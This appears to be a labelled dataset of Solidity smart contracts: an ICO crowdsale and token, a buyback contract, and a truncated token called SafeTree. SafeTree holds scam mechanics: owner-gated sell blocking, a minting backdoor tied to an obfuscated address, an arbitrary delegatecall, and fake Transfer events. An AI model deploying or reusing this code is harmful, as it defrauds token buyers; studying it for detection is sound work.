contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(address(token)).mint(_beneficiary, _tokenAmount));
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address _tokenAddress,
uint256 _tokens
)
public
onlyOwner
returns (bool success)
{
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Contributions is RBAC, Ownable {
using SafeMath for uint256;
uint256 private constant TIER_DELETED = 999;
string public constant ROLE_MINTER = "minter";
string public constant ROLE_OPERATOR = "operator";
uint256 public tierLimit;
modifier onlyMinter () {
checkRole(msg.sender, ROLE_MINTER);
_;
}
modifier onlyOperator () {
checkRole(msg.sender, ROLE_OPERATOR);
_;
}
uint256 public totalSoldTokens;
mapping(address => uint256) public tokenBalances;
mapping(address => uint256) public ethContributions;
mapping(address => uint256) private _whitelistTier;
address[] public tokenAddresses;
address[] public ethAddresses;
address[] private whitelistAddresses;
constructor(uint256 _tierLimit) public {
addRole(owner, ROLE_OPERATOR);
tierLimit = _tierLimit;
}
function addMinter(address minter) external onlyOwner {
addRole(minter, ROLE_MINTER);
}
function removeMinter(address minter) external onlyOwner {
removeRole(minter, ROLE_MINTER);
}
function addOperator(address _operator) external onlyOwner {
addRole(_operator, ROLE_OPERATOR);
}
function removeOperator(address _operator) external onlyOwner {
removeRole(_operator, ROLE_OPERATOR);
}
function addTokenBalance(
address _address,
uint256 _tokenAmount
)
external
onlyMinter
{
if (tokenBalances[_address] == 0) {
tokenAddresses.push(_address);
}
tokenBalances[_address] = tokenBalances[_address].add(_tokenAmount);
totalSoldTokens = totalSoldTokens.add(_tokenAmount);
}
function addEthContribution(
address _address,
uint256 _weiAmount
)
external
onlyMinter
{
if (ethContributions[_address] == 0) {
ethAddresses.push(_address);
}
ethContributions[_address] = ethContributions[_address].add(_weiAmount);
}
function setTierLimit(uint256 _newTierLimit) external onlyOperator {
require(_newTierLimit > 0, "Tier must be greater than zero");
tierLimit = _newTierLimit;
}
function addToWhitelist(
address _investor,
uint256 _tier
)
external
onlyOperator
{
require(_tier == 1 || _tier == 2, "Only two tier level available");
if (_whitelistTier[_investor] == 0) {
whitelistAddresses.push(_investor);
}
_whitelistTier[_investor] = _tier;
}
function removeFromWhitelist(address _investor) external onlyOperator {
_whitelistTier[_investor] = TIER_DELETED;
}
function whitelistTier(address _investor) external view returns (uint256) {
return _whitelistTier[_investor] <= 2 ? _whitelistTier[_investor] : 0;
}
function getWhitelistedAddresses(
uint256 _tier
)
external
view
returns (address[])
{
address[] memory tmp = new address[](whitelistAddresses.length);
uint y = 0;
if (_tier == 1 || _tier == 2) {
uint len = whitelistAddresses.length;
for (uint i = 0; i < len; i++) {
if (_whitelistTier[whitelistAddresses[i]] == _tier) {
tmp[y] = whitelistAddresses[i];
y++;
}
}
}
address[] memory toReturn = new address[](y);
for (uint k = 0; k < y; k++) {
toReturn[k] = tmp[k];
}
return toReturn;
}
function isAllowedPurchase(
address _beneficiary,
uint256 _weiAmount
)
external
view
returns (bool)
{
if (_whitelistTier[_beneficiary] == 2) {
return true;
} else if (_whitelistTier[_beneficiary] == 1 && ethContributions[_beneficiary].add(_weiAmount) <= tierLimit) {
return true;
}
return false;
}
function getTokenAddressesLength() external view returns (uint) {
return tokenAddresses.length;
}
function getEthAddressesLength() external view returns (uint) {
return ethAddresses.length;
}
}
contract DefaultICO is TimedCrowdsale, TokenRecover {
Contributions public contributions;
uint256 public minimumContribution;
uint256 public tierZero;
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256 _minimumContribution,
address _token,
address _contributions,
uint256 _tierZero
)
Crowdsale(_rate, _wallet, ERC20(_token))
TimedCrowdsale(_openingTime, _closingTime)
public
{
require(
_contributions != address(0),
"Contributions address can't be the zero address."
);
contributions = Contributions(_contributions);
minimumContribution = _minimumContribution;
tierZero = _tierZero;
}
function started() public view returns(bool) {
return block.timestamp >= openingTime;
}
function setTierZero(uint256 _newTierZero) external onlyOwner {
tierZero = _newTierZero;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(
_weiAmount >= minimumContribution,
"Can't send less than the minimum contribution"
);
if (contributions.ethContributions(_beneficiary).add(_weiAmount) > tierZero) {
require(
contributions.isAllowedPurchase(_beneficiary, _weiAmount),
"Beneficiary is not allowed to purchase this amount"
);
}
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._updatePurchasingState(_beneficiary, _weiAmount);
contributions.addEthContribution(_beneficiary, _weiAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
super._processPurchase(_beneficiary, _tokenAmount);
contributions.addTokenBalance(_beneficiary, _tokenAmount);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract RBACMintableToken is MintableToken, RBAC {
string public constant ROLE_MINTER = "minter";
modifier hasMintPermission() {
checkRole(msg.sender, ROLE_MINTER);
_;
}
function addMinter(address _minter) public onlyOwner {
addRole(_minter, ROLE_MINTER);
}
function removeMinter(address _minter) public onlyOwner {
removeRole(_minter, ROLE_MINTER);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC1363 is ERC20, ERC165 {
function transferAndCall(address _to, uint256 _value) public returns (bool);
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value, bytes _data) public returns (bool);
function approveAndCall(address _spender, uint256 _value) public returns (bool);
function approveAndCall(address _spender, uint256 _value, bytes _data) public returns (bool);
}
contract ERC1363Receiver {
function onTransferReceived(address _operator, address _from, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363Spender {
function onApprovalReceived(address _owner, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363BasicToken is SupportsInterfaceWithLookup, StandardToken, ERC1363 {
using AddressUtils for address;
bytes4 internal constant InterfaceId_ERC1363Transfer = 0x4bbee2df;
bytes4 internal constant InterfaceId_ERC1363Approve = 0xfb9ec8ce;
bytes4 private constant ERC1363_RECEIVED = 0x88a7ca5c;
bytes4 private constant ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
_registerInterface(InterfaceId_ERC1363Transfer);
_registerInterface(InterfaceId_ERC1363Approve);
}
function transferAndCall(
address _to,
uint256 _value
)
public
returns (bool)
{
return transferAndCall(_to, _value, "");
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transfer(_to, _value));
require(
checkAndCallTransfer(
msg.sender,
_to,
_value,
_data
)
);
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
return transferFromAndCall(_from, _to, _value, "");
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transferFrom(_from, _to, _value));
require(
checkAndCallTransfer(
_from,
_to,
_value,
_data
)
);
return true;
}
function approveAndCall(
address _spender,
uint256 _value
)
public
returns (bool)
{
return approveAndCall(_spender, _value, "");
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
returns (bool)
{
approve(_spender, _value);
require(
checkAndCallApprove(
_spender,
_value,
_data
)
);
return true;
}
function checkAndCallTransfer(
address _from,
address _to,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return false;
}
bytes4 retval = ERC1363Receiver(_to).onTransferReceived(
msg.sender, _from, _value, _data
);
return (retval == ERC1363_RECEIVED);
}
function checkAndCallApprove(
address _spender,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_spender.isContract()) {
return false;
}
bytes4 retval = ERC1363Spender(_spender).onApprovalReceived(
msg.sender, _value, _data
);
return (retval == ERC1363_APPROVED);
}
}
contract FidelityHouseToken is DetailedERC20, RBACMintableToken, BurnableToken, ERC1363BasicToken, TokenRecover {
uint256 public lockedUntil;
mapping(address => uint256) internal lockedBalances;
modifier canTransfer(address _from, uint256 _value) {
require(
mintingFinished,
"Minting should be finished before transfer."
);
require(
_value <= balances[_from].sub(lockedBalanceOf(_from)),
"Can't transfer more than unlocked tokens"
);
_;
}
constructor(uint256 _lockedUntil)
DetailedERC20("FidelityHouse Token", "FIH", 18)
public
{
lockedUntil = _lockedUntil;
}
function lockedBalanceOf(address _owner) public view returns (uint256) {
return block.timestamp <= lockedUntil ? lockedBalances[_owner] : 0;
}
function mintAndLock(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
lockedBalances[_to] = lockedBalances[_to].add(_amount);
return super.mint(_to, _amount);
}
function transfer(
address _to,
uint256 _value
)
public
canTransfer(msg.sender, _value)
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
canTransfer(_from, _value)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
}
contract TimedBonusCrowdsale is MintedCrowdsale, DefaultICO {
uint256[] public bonusDates;
uint256[] public bonusRates;
function setBonusRates(
uint256[] _bonusDates,
uint256[] _bonusRates
)
external
onlyOwner
{
require(
!started(),
"Bonus rates can be set only before the campaign start"
);
require(
_bonusDates.length == 4,
"Dates array must have 4 entries."
);
require(
_bonusRates.length == 4,
"Rates array must have 4 entries."
);
require(
_bonusDates[0] < _bonusDates[1] && _bonusDates[1] < _bonusDates[2] && _bonusDates[2] < _bonusDates[3],
"Dates must be consecutive"
);
bonusDates = _bonusDates;
bonusRates = _bonusRates;
}
function getCurrentBonus() public view returns (uint256) {
uint256 bonusPercent = 0;
if (bonusDates.length > 0) {
if (block.timestamp < bonusDates[0]) {
bonusPercent = bonusRates[0];
} else if (block.timestamp < bonusDates[1]) {
bonusPercent = bonusRates[1];
} else if (block.timestamp < bonusDates[2]) {
bonusPercent = bonusRates[2];
} else if (block.timestamp < bonusDates[3]) {
bonusPercent = bonusRates[3];
}
}
return bonusPercent;
}
function _getTokenAmount(
uint256 _weiAmount
)
internal
view
returns (uint256)
{
uint256 bonusAmount = 0;
uint256 tokenAmount = super._getTokenAmount(_weiAmount);
uint256 bonusPercent = getCurrentBonus();
if (bonusPercent > 0) {
bonusAmount = tokenAmount.mul(bonusPercent).div(100);
}
return tokenAmount.add(bonusAmount);
}
}
contract FidelityHouseICO is TokenCappedCrowdsale, TimedBonusCrowdsale {
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256 _tokenCap,
uint256 _minimumContribution,
address _token,
address _contributions,
uint256 _tierZero
)
DefaultICO(
_openingTime,
_closingTime,
_rate,
_wallet,
_minimumContribution,
_token,
_contributions,
_tierZero
)
TokenCappedCrowdsale(_tokenCap)
public
{}
function adjustTokenCap(uint256 _newTokenCap) external onlyOwner {
require(_newTokenCap > 0, "Token Cap should be greater than zero");
tokenCap = _newTokenCap;
}
function ended() public view returns(bool) {
return hasClosed() || tokenCapReached();
}
} | 0 | 1,346 |
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
pragma solidity ^0.8.4;
contract OKLGWithdrawable is Ownable {
function withdrawTokens(address _tokenAddy, uint256 _amount)
external
onlyOwner
{
IERC20 _token = IERC20(_tokenAddy);
_amount = _amount > 0 ? _amount : _token.balanceOf(address(this));
require(_amount > 0, 'make sure there is a balance available to withdraw');
_token.transfer(owner(), _amount);
}
function withdrawETH() external onlyOwner {
payable(owner()).call{ value: address(this).balance }('');
}
}
contract MCCBuyBack is OKLGWithdrawable {
address public receiver = 0x4Fd61669334F6feDf5741Bfb56FE673bD53a730F;
address public MCC = 0xC146B7CdBaff065090077151d391f4c96Aa09e0C;
address public stable = 0x55d398326f99059fF775485246999027B3197955;
IUniswapV2Router02 private router;
constructor() {
if (block.chainid == 56) {
router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
} else if (block.chainid == 97) {
router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3);
} else if (block.chainid == 1 || block.chainid == 4) {
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
} else if (block.chainid == 43114) {
router = IUniswapV2Router02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
} else if (block.chainid == 250) {
router = IUniswapV2Router02(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
} else {
revert();
}
if (block.chainid == 56) {
stable = 0x55d398326f99059fF775485246999027B3197955;
} else if (block.chainid == 97) {
stable = 0x55d398326f99059fF775485246999027B3197955;
} else if (block.chainid == 1 || block.chainid == 4) {
stable = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
} else if (block.chainid == 43114) {
stable = 0x55d398326f99059fF775485246999027B3197955;
} else if (block.chainid == 250) {
stable = 0x04068DA6C83AFCFA0e13ba15A6696662335D5B75;
} else {
revert();
}
}
receive() external payable {}
function BuyforRewardsUsingTreasury() external payable {
require(msg.value >= 0.01 ether, 'Ensure Buy Back is Matched');
require((address(this).balance >= 0.1 ether), 'Ensure Buy Back Funds Are Present');
uint256 refundAmount = msg.value / 2;
uint256 swapAmount = (msg.value * 10) + refundAmount;
uint deadline = block.timestamp + 15;
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = MCC;
router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: swapAmount
}(
0,
path,
receiver,
deadline
);
address[] memory pathstable = new address[](2);
pathstable[0] = router.WETH();
pathstable[1] = stable;
router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: refundAmount
}(
0,
pathstable,
tx.origin,
deadline
);
}
function setMCC(address _MCC) external onlyOwner {
MCC = _MCC;
}
function setStables(address _stable) external onlyOwner {
stable = _stable;
}
function setReceiver(address _receiver) external onlyOwner {
receiver = _receiver;
}
} | 1 | 2,162 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SafeTree{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
